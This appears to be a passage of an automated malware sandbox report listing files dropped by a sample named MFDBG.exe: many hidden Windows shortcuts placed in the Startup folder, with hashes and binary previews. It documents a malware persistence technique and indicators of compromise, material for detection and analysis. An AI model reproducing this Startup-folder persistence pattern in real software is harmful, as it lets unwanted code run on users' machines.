File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:27 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.91859868099134
Encrypted:	false
SSDEEP:	24:8qBf38EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8oEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	63377E54165662B28B718CF2A877821F
SHA1:	DAA92CF89E23509473AB9A8C72CF95B279DF3DEB
SHA-256:	B5C4F7642CBD92E77C6A0C351DE56FAFEC571EC88DCE626D0C62E041C46316A0
SHA-512:	C4E5C581CE40A115E5810B0C2670F4E16FB1AC8C92832883ECA6A2250C5A6AFEFE462DE839FF2744601B85B4839A9C82A78B8926707259458FF40A9C36FC30EE
Malicious:	false
Preview:	L..................F....".......d...?9sQd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....MQd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b9008f7ed3bc412dbba86bd10cbfa7c5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:52 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919711152049768
Encrypted:	false
SSDEEP:	24:8PTBfP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:89sEvZ0yRO7DLO2zdxdRd1kyg
MD5:	862555B02565935ED11423CE8BBDB286
SHA1:	C793B993152EE9AAF038697DA5DA132F6E49A479
SHA-256:	A2146DBE543436FB8DEDB1A2CCC99C8B47CD9C38C2D71EB51651D529A47B42DE
SHA-512:	42014EB7CB24D317731375863528B5FDD262C350BBA8C01EA43238FA2BAC9CBB631FA94FE2BE35E5757C948E81705AA0B34EA9E1D3762FD608EE79CD8842AB24
Malicious:	false
Preview:	L..................F....".......d.....<d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....z<d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b9743b2537174e95a0b38395b8e26463.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:28 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921502560993893
Encrypted:	false
SSDEEP:	24:8iBfR48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8QnEvZ0yRO7DLO2zdxdRd1kyg
MD5:	28D920E5A1000AEFE9E3BE3C41031696
SHA1:	6815EA345ADC21245A3F0CBF75726C537E51277C
SHA-256:	425F7150570797C4FBCCE2954CBA2AC3D09A44FA10BBD043E6ACB0C6E59A4FFD
SHA-512:	FD26547290C556497E1555F0B514E1CCCB2C129A053E4A6511550CD3C1AD962B8DCCAAD8B70AA3823B17613275FFC9539F71CB6F4D9C2B339C62A87E78B148D4
Malicious:	false
Preview:	L..................F....".......d...t.1Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....&Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b9a7b8e5f7e44049b4d47227ca61e257.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916669959526257
Encrypted:	false
SSDEEP:	24:8RBfP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8rMEvZ0yRO7DLO2zdxdRd1kyg
MD5:	6E37E143507C4A250740B8B0AA8CA1BE
SHA1:	98BAC52B48898838C631A61048C65CD17F8B3E8F
SHA-256:	6AC89BE3794AE2FD996FB1EBAE2020B497A1E59D2388D6909A69CF71E0EEABFD
SHA-512:	7C74FEE034A638DE5AB8B6AB11C0FA3D1966ADDE333274D61FF845D5146E3B573CCA214689DFF701D92C61E248CC3CF31A5A96DDF472FE52465E7FFC2D5195E1
Malicious:	false
Preview:	L..................F....".......d...rIm]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...rIm]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ba34989b21e3491e90fbf51a98ba4c24.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:13 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920669205456601
Encrypted:	false
SSDEEP:	24:8wBfD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8+oEvZ0yRO7DLO2zdxdRd1kyg
MD5:	623F97CDE245874F979F2A2C97A2058C
SHA1:	6ED8036710A18F2138408BF5543897F4E2143823
SHA-256:	3A93869C8AC78236CEF842260FB05076AE56062AE0427E64C2D9572C097AB79D
SHA-512:	AB39151D95AFD2EFA6615AA56E4AF75F9687A0FB49467E54A657E083E39F001915652B192F371EAB13CE0DB794E9DDA413E210D770E3A05CA5A46B6236B0F074
Malicious:	false
Preview:	L..................F....".......d.....P%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c..._W6%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ba566f14cb4d44bf8d86612f75a65d3c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:57 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927177418626568
Encrypted:	false
SSDEEP:	24:8P2BfC8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8P8nEvZ0yRO7DLO2zdxdRd1kyg
MD5:	FC63D924CBDE51E555152BBC7F690364
SHA1:	BAB590449F34CC76480E7A9722028259DCCA5387
SHA-256:	9102BA4A2B44074CB6F56B87308ADB51B4254822A6BBCF7F0F44D33CE85B4E94
SHA-512:	185691B031C3F5D20A4FE3580C8645ABF45B64810C1714EDA2972DA0305A572A9BD7FA5BC5B7ACFA5D3EBE78FCA1A8C21F879B0F52D7C67F95D55AD46D8CB65C
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....6..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ba64c97dd74446f9981434bfc3edf2ef.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928828786891703
Encrypted:	false
SSDEEP:	24:8mBfDf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8sbEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	EB82A2CC730096885E007EF1E7E660E4
SHA1:	7B69DE333ED87CDAD7916F55843803610BB614A4
SHA-256:	E034ADA63F1C2986E9C44674E70D47F3A4208A268DA92696600B4666C0B7BFC0
SHA-512:	A9F3B625F2091B0C5BE364F28AD30218C1F54300C075D5CD1BFEE6FD52CCB647886012BA8FEF0546C45C02577A63C1E03D7242D2A68B66E3930894D27DDF9F72
Malicious:	false
Preview:	L..................F....".......d....,..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_baeaec4053514e5abffb4ee7ae9168fc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922269453466103
Encrypted:	false
SSDEEP:	24:8+iTBfo+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8+egTEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F9FF3B0F9307B6A93C151E308142BF72
SHA1:	877F8E5332E1D57B128BC0AD78B821C81F9AFAAB
SHA-256:	610E015AFEB6B7B452C806822DBD0A14CD1BE044BBC627A74B4A9A00CD16B4D5
SHA-512:	AFAEF07570332E1E2B3CA9B6C2BFA9960766E595EFDFB3787BE2F5B9B78290BB835DB5EB59F3D32B780726606109A9736CBCEF3F299E53D7392009C1453D9E9D
Malicious:	false
Preview:	L..................F....".......d....&b$d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....&b$d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bb4770f69c134a1a98df5356635405cd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918699706243261
Encrypted:	false
SSDEEP:	24:8fBfY8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8pFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E1C530CFC2AE4C493095BF38999A8254
SHA1:	0AFBD45818AAD19C4BA8DB5D8029F9E6EFF122E2
SHA-256:	3D5C027F6FA8D2510B1EA1304D0FCC02C651119A89C2AFB5E3120CCF852D66F9
SHA-512:	83BA94907CC752FBC321BEEBA7D5B522A8BC4D4CDBFE7DC1A3A612504CFB2C8A24599D118AE00938CF3C42A8A8915C9D1EDF793072339CD22F2A454AD71F0C35
Malicious:	false
Preview:	L..................F....".......d...u .:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....a:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bb4f2043403b4e8ea1976bdfc0ecc667.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923454456081034
Encrypted:	false
SSDEEP:	24:82TBfh8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8yeEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9A5F0FC593144414116075A1724DE5F9
SHA1:	6E0D990B6D36037F3A5920A73C922AB00EA2B190
SHA-256:	4B0C721ACE516CAFFDAD20B9C843FDD201F77E503C4706A53678EB6D3EB95947
SHA-512:	3F56731FF4F390899AEFCA5CC106818BE8D9B70D705EAE23DBD1F1076CE151935FCB0A0DC9805C9B23BD32894A46020D056D6A33F61D0AA02F6C2899D56C569E
Malicious:	false
Preview:	L..................F....".......d...A.&$d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....($$d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bb5e2b165ced4da6910b9b2f501cf0b7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922533415061107
Encrypted:	false
SSDEEP:	24:8TBfP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8VMEvZ0yRO7DLO2zdxdRd1kyg
MD5:	FC7D09C74C69C3408E3440F951E370C2
SHA1:	16EB07F8158BCB64214CB60F3CC962104362C148
SHA-256:	CA1B5E560FEE8CC22E18C91B33E14D0C397A174983C934C2D3EABF0D3E1B94E0
SHA-512:	2A9A010AF39AD3622F310C521409371EC6A4797D8F277A0163D44160955B4206B60E047D90EA0F523FE6D76175A9BE48A86750394A6515E0B0C722D1BE049FAC
Malicious:	false
Preview:	L..................F....".......d...[2.]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...rIm]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bbd6cab15775415da939bf17c00ccce3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922973837117898
Encrypted:	false
SSDEEP:	24:8PBfn+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ZLEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C65947049B823CB6649C2B0AD285F8B3
SHA1:	E93065D7BC869A9DD53BE7EE9E37E91A05A7466F
SHA-256:	4DEAC59853B63D76335449AB7046DDF21023C6B2F90160BB444B52C5674416F3
SHA-512:	131A5B52A2861D617B65E297C9A60D7E2FE2330FFC97C265102228F45AB6285CA31F1DC093AD93F119DE615E94E04947A73CD1E99C42241FB068493364D53128
Malicious:	false
Preview:	L..................F....".......d...;&.:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....u.9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bbf25726f3044233a4aedf0a765446ed.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922991761015385
Encrypted:	false
SSDEEP:	24:8FBfZ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8HWEvZ0yRO7DLO2zdxdRd1kyg
MD5:	69B41386F3D8443224FAD90D335D7274
SHA1:	7B14909EA1E2CF76B3977942ABEC1C4DB5E9265B
SHA-256:	8D38C973CFDBB6965CD93DE550207C3FCBF5AF413755F2EFE6EF299B98A517F9
SHA-512:	37A03A0854087509A3C840D1B38B0EBBB38AD51CB3AC18006264826C09EDB8AE04C1BC5CE92BE83F8D94CC4F78843415CB25148EB3639F9813C19C1612F08EE4
Malicious:	false
Preview:	L..................F....".......d...}..\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bc5ea7ed009a459591d35a800810bcd3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
